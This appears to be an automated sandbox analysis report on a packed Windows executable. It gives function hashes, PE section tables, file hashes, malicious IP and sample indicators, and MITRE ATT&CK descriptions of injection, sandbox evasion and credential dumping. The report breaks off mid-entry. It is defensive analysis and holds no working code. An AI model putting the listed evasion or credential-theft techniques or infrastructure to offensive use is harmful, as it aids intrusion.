Opcode Fuzzy Hash: 56d7a8956153ebc8fd258a0267fc6abc47e32cf0758677b6bd9b99eb0f591b91
Instruction Fuzzy Hash: 50E0D83530C3948FCB065734B8786AD7FA6DFC6246B0900AED646C7192CB950C0AD7D5

Uniqueness

Uniqueness Score: -1.00%

Function 00979CE8 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40131293c74067d54b4a569af25829a007cb0aaf45cd274631b77bf27c6df2a6
Instruction ID: fbd9cde67b20f2aa4d48c9a5fe0d3901c2e8ffa21460149b567ce24e7e89b5bc
Opcode Fuzzy Hash: 40131293c74067d54b4a569af25829a007cb0aaf45cd274631b77bf27c6df2a6
Instruction Fuzzy Hash: B4E0DF76A042944FC7229B38AC087DD3FE49F03604B1601DAEC89CB2F2D721CC05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 009776F8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6f378d33df60df8f63f95dc0827e9953f66c0ce2922f4a9d7bd57cb6e9355d2
Instruction ID: 159b1ffdc605ddb59328c2343488539d656c872a0edd7fee923513a496f91512
Opcode Fuzzy Hash: e6f378d33df60df8f63f95dc0827e9953f66c0ce2922f4a9d7bd57cb6e9355d2
Instruction Fuzzy Hash: F1E09230604B108FC750EB6AD885C9EB7D69E95211344CD3D916E87928DF70BD0887F1

Uniqueness

Uniqueness Score: -1.00%

Function 00973FC0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4a910378fe434aa8a8d9def7ad07388f736c608e6275534dc5035b0a0138b6a
Instruction ID: b4b9f66ca71be5cbcaa0d0bd56617a11442c48f550a748a6228ef42e0ce7b219
Opcode Fuzzy Hash: a4a910378fe434aa8a8d9def7ad07388f736c608e6275534dc5035b0a0138b6a
Instruction Fuzzy Hash: D4E0DFB690D6D0AFD752A738A86949C3FB2EA5670030A888EC988CB583E6284D0D9341

Uniqueness

Uniqueness Score: -1.00%

Function 009755E0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d172afa34f046b4dfeaa67e5566a877d6b70512fe373c40316dc4267cc6a7e5
Instruction ID: 3bf0146e8dfefb286c9573087e71bab7936a3219351072330700858ad8ea68c8
Opcode Fuzzy Hash: 7d172afa34f046b4dfeaa67e5566a877d6b70512fe373c40316dc4267cc6a7e5
Instruction Fuzzy Hash: C8E0CD6370C9D047C71696ACBC103963B528FC5219F0A40B59588C76C7DF185C069791

Uniqueness

Uniqueness Score: -1.00%

Function 0097CFF8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ac4732d99f216c7d9ac144c6ee049ef4516ba3c591a854c9767722178987434
Instruction ID: fbdff967ca10d86e795cfcab261b79d0a5e3d412f165f254cf5925471a8cba7e
Opcode Fuzzy Hash: 3ac4732d99f216c7d9ac144c6ee049ef4516ba3c591a854c9767722178987434
Instruction Fuzzy Hash: 9CE092B1D0520D9F8B84DFA9D9416BEBFF4AB48200F10816AE918E2240E6385A51CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00975900 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f779567a2fa30f54de917090245fc9006b63a264b1d9cf6187ac1686aa4dcdb
Instruction ID: aebc31aeaa21f8eee999520bdfa4841267d3395291c48121829553bc5680d336
Opcode Fuzzy Hash: 8f779567a2fa30f54de917090245fc9006b63a264b1d9cf6187ac1686aa4dcdb
Instruction Fuzzy Hash: F7E02630608741CFCBC2A328F411B5C3FF1A706710F0680ACC1858755AD7385D0B8B92

Uniqueness

Uniqueness Score: -1.00%

Function 0097AEFA Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efd333e446a2d20d8f3cf3aa11915e973d3124c6e8937b611bb7949e39399b81
Instruction ID: fbf1c612b6d59ad2941524d1c556c3d9d01568d17f20a1ab7ba4e608cc136be7
Opcode Fuzzy Hash: efd333e446a2d20d8f3cf3aa11915e973d3124c6e8937b611bb7949e39399b81
Instruction Fuzzy Hash: 71E08665B082C45BDB54CB38D85671A7FD19B84706F104099D04187A87C5694585C742

Uniqueness

Uniqueness Score: -1.00%

Function 00979ED0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f912aa750c384619b0b298a00176fd36f490288618e639e8990c00ce33dd1e89
Instruction ID: 823bb9b9caec450271d60341fb0fc609ea225846cd83980825259136236c5a1b
Opcode Fuzzy Hash: f912aa750c384619b0b298a00176fd36f490288618e639e8990c00ce33dd1e89
Instruction Fuzzy Hash: 9CD0123260832C6B4B44FBA994149DEBBEDDA45374B02406AD509DB241EE712A4447F5

Uniqueness

Uniqueness Score: -1.00%

Function 0097FF30 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c65675ecdef88ffc86ee58e60e32451387987f6a16d51b7eaf56c9d21ba16c82
Instruction ID: 847ad0e8398dcc89be61d945b49fa18e52d94b80b65c4e2c470c961c03af6fbb
Opcode Fuzzy Hash: c65675ecdef88ffc86ee58e60e32451387987f6a16d51b7eaf56c9d21ba16c82
Instruction Fuzzy Hash: D9B09B2331422813052431AF34119A671CD89C57617044077E90CD36419D81DC0002E5

Uniqueness

Uniqueness Score: -1.00%

Function 00970441 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c889ffe2fe6e0ce5839c465d1f7aa8a94027fd85ba68084bc5537f2350d9fa8
Instruction ID: b79fc353830fd5252ddc27a4fd4568b442f41fa3358e3fc44e06b601355cc865
Opcode Fuzzy Hash: 1c889ffe2fe6e0ce5839c465d1f7aa8a94027fd85ba68084bc5537f2350d9fa8
Instruction Fuzzy Hash: 19C0486A84D7E58FCF0B87600DAC1883F30885320434A80C6C084CA0B7F468490BAB23

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0097E3C8 Relevance: 5.4, Strings: 4, Instructions: 372COMMON

Download Yara Rule

Strings

Yx, xrefs: 0097E427
Yx, xrefs: 0097E6FD
Yx, xrefs: 0097E64E
Yx, xrefs: 0097E4ED

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx$Yx$Yx$Yx
API String ID: 0-3127024968
Opcode ID: fafa3e77ffe98cd72aea1020df896e35e8d1e84d96371ce9a36510c289acc0af
Instruction ID: 94203d6bb99a5ef749cf348ba051843aa716f19c8a65dc9ba395849356c83014
Opcode Fuzzy Hash: fafa3e77ffe98cd72aea1020df896e35e8d1e84d96371ce9a36510c289acc0af
Instruction Fuzzy Hash: 5AD1C375B042048FCB14DB79C894AAE7BF6AF88344F1584A9E50ADB7A1DF74DC02CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00976040 Relevance: 7.7, Strings: 6, Instructions: 232COMMON

Download Yara Rule

Strings

Yx, xrefs: 0097623C
Yx, xrefs: 009761A8
Yx, xrefs: 009760AC
Yx, xrefs: 009761BD
Yx, xrefs: 00976099
Yx, xrefs: 00976227

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx$Yx$Yx$Yx$Yx$Yx
API String ID: 0-539633911
Opcode ID: 4eec49fb51548f13287e2aad9e7b449ae69ce241c30b98f219a2a80889335875
Instruction ID: a421f742c74412c024b65d1ca2a88114cc1160cf14600d23eb5d71f51270b33e
Opcode Fuzzy Hash: 4eec49fb51548f13287e2aad9e7b449ae69ce241c30b98f219a2a80889335875
Instruction Fuzzy Hash: 75812475B083449FCB059B74C418AAEBBB2EF86314F14C46AD84ADB392DB35DD06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0097D028 Relevance: 6.5, Strings: 5, Instructions: 284COMMON

Download Yara Rule

Strings

\APl, xrefs: 0097D063
Yx, xrefs: 0097D206
Yx, xrefs: 0097D3A7
Yx, xrefs: 0097D31B
Yx, xrefs: 0097D12D

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: \APl$Yx$Yx$Yx$Yx
API String ID: 0-3693651114
Opcode ID: 4121087a2450657ddce751e2763226799619e012cb493826cc48a44d1e2eeb29
Instruction ID: 3823fadab874e860cd2e4d1506d4666e4a9f23c0f150f921407e3f359802ea20
Opcode Fuzzy Hash: 4121087a2450657ddce751e2763226799619e012cb493826cc48a44d1e2eeb29
Instruction Fuzzy Hash: 87C1FE74B042088FCB44DFA4D895EAD77F6AF88304F518069E509EB7A5DB34DC42DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0097D420 Relevance: 6.5, Strings: 5, Instructions: 272COMMON

Download Yara Rule

Strings

Yx, xrefs: 0097D647
Yx, xrefs: 0097D4B7
Yx, xrefs: 0097D464
Yx, xrefs: 0097D551
Yx, xrefs: 0097D4A5

Memory Dump Source

Source File: 00000002.00000002.416240086.0000000000970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_vbc.jbxd

Similarity

API ID:
String ID: Yx$Yx$Yx$Yx$Yx
API String ID: 0-2838541823
Opcode ID: cc7e3562c89c2ff4ac68a05af1dca170c9f9daca45c82d3ad82e29925811c96c
Instruction ID: d0be24d9e5543834d71dfc0e9cd08acf4737029ff1be24f6962ced5dc86028c6
Opcode Fuzzy Hash: cc7e3562c89c2ff4ac68a05af1dca170c9f9daca45c82d3ad82e29925811c96c
Instruction Fuzzy Hash: 4D910235B053008FCB14DB79C854AAE7BF6AFC9355F1580AAD90ACB391EB35DC029B91

Uniqueness

Uniqueness Score: -1.00%

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
VDSINA-ASRU	0BFC650BD924AE31AB04A6F0097708CF7971E81A00C42.exe	Get hash	malicious	Browse	195.2.70.68
	MEGoE9WJsS.exe	Get hash	malicious	Browse	94.103.95.207
	6gKlmKn4Yc.exe	Get hash	malicious	Browse	94.103.95.207
	4ZCF2UbtlA.exe	Get hash	malicious	Browse	94.103.95.207
	NL2IXj4LGW.exe	Get hash	malicious	Browse	94.103.95.207
	6QU7pRSRkN.exe	Get hash	malicious	Browse	185.105.110.5
	http://host-109-234-38-192.hosted-by-vdsina.ru	Get hash	malicious	Browse	109.234.38.192
	03330064.bin.exe	Get hash	malicious	Browse	185.231.155.3
	GKXGygYZn4.exe	Get hash	malicious	Browse	185.231.155.3
	APfcL3c3Kg.exe	Get hash	malicious	Browse	95.142.46.35
	22lfuhZ9EJ.exe	Get hash	malicious	Browse	185.231.155.3
	FsfSdZ7o53.exe	Get hash	malicious	Browse	185.231.155.3
	Invoice_09-19_unpaid_50_document.iso	Get hash	malicious	Browse	62.113.113.12
	ZpikGO9mvc.exe	Get hash	malicious	Browse	185.231.155.3
	2U9LliJirk.exe	Get hash	malicious	Browse	185.231.155.3
	S6cQg7f8D1.exe	Get hash	malicious	Browse	185.231.155.3
	file.exe	Get hash	malicious	Browse	95.142.46.35
	file.exe	Get hash	malicious	Browse	195.2.73.33
	file.exe	Get hash	malicious	Browse	195.2.73.33
	file.exe	Get hash	malicious	Browse	195.2.73.33

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.509272015427261
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	hy4iXHZVJ4.exe
File size:	2566656
MD5:	30757d645e25fb8ee4871ceface19772
SHA1:	e21abb5ecefd8f9c9ad5f30c27ef3de913b47ed2
SHA256:	53a346abbdc2c926034a024aee8a4b794edb4430826489486ad0dc46d1352d41
SHA512:	226f96d3d36e70788a9b2019331fd29cbabfad994c31f3fda09d02304b246638caabf5623e66e870e3f9077f170286fa9cf4693f266be3a1dd17dc130f2378df
SSDEEP:	49152:lIgOhjpeuUTmDyXv2KT0MIrCHvn9MJ7Im7uAYHsJd0ChzzI7MVHvwWjNM:lIgOhjpeuUTmDKvG4viGm6qdU0HFNM
TLSH:	EBC5C03AEA5624B5D76356B1C15EFE3BAB087A3480629E3FFB86DD0C74330127C94256
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?\c.....................@....................@...........................'............... ............................

Entrypoint:	0x4014a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x635C3FEF [Fri Oct 28 20:47:43 2022 UTC]
TLS Callbacks:	0x4379a0, 0x437950
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1b62f5ec48faa08ab096dfae72734859

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xccdf0	0xcce00	False	0.38188896621415497	data	6.3176847403574845	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xce000	0x3411c	0x34200	False	0.6408451363908872	dBase III DBT, version number 0, next free block index 10, 1st item "\2441\302 \317\003\360\274t\225aL\243_\244\201n\232u\321>\342/\264[\237H\317 \3245\314#\3274-\302>\357_\260t\221\032\365\001\326o\200t\245\032\365)\322\020\377;\306\274S\247h\210g\223\346\272v\255\334\334\250\333\256f\253s\256_\271\271U!rm,\201VV\375{8>A\313\003\202\366\264\035\316\325\325S`m\354nb[IHH_\227"	7.450326394424036	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x103000	0x15020	0x15200	False	0.4818440273668639	data	5.6081164308869464	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.eh_fram	0x119000	0x3cd10	0x3ce00	False	0.19929896047227927	data	4.82434545289821	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x156000	0xf00	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x157000	0xbf8	0xc00	False	0.4078776041666667	data	5.073338264052041	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x158000	0x34	0x200	False	0.07421875	Matlab v4 mat-file (little endian) \360wC, numeric, rows 4198672, columns 0	0.27892677800628285	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x159000	0x8	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.t0:	0x15a000	0x8c0	0xa00	False	0.85859375	data	7.29371619924177	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
i	0x15b000	0x38c00	0x38c00	False	1.0003484650330396	data	7.993647533236392	IMAGE_SCN_MEM_READ
+	0x194000	0x37c00	0x37c00	False	1.0003328195067265	data	7.993635433821202	IMAGE_SCN_MEM_READ
	0x1cc000	0x33800	0x33800	False	1.0003365822208738	data	7.993524846902104	IMAGE_SCN_MEM_READ
	0x200000	0x3c800	0x3c800	False	1.0003470428719008	data	7.99352654459419	IMAGE_SCN_MEM_READ
"	0x23d000	0x3d400	0x3d400	False	1.000342793367347	data	7.99365289117192	IMAGE_SCN_MEM_READ

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x157000	0xbf8	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x111a78	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x157210	0x1d4	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
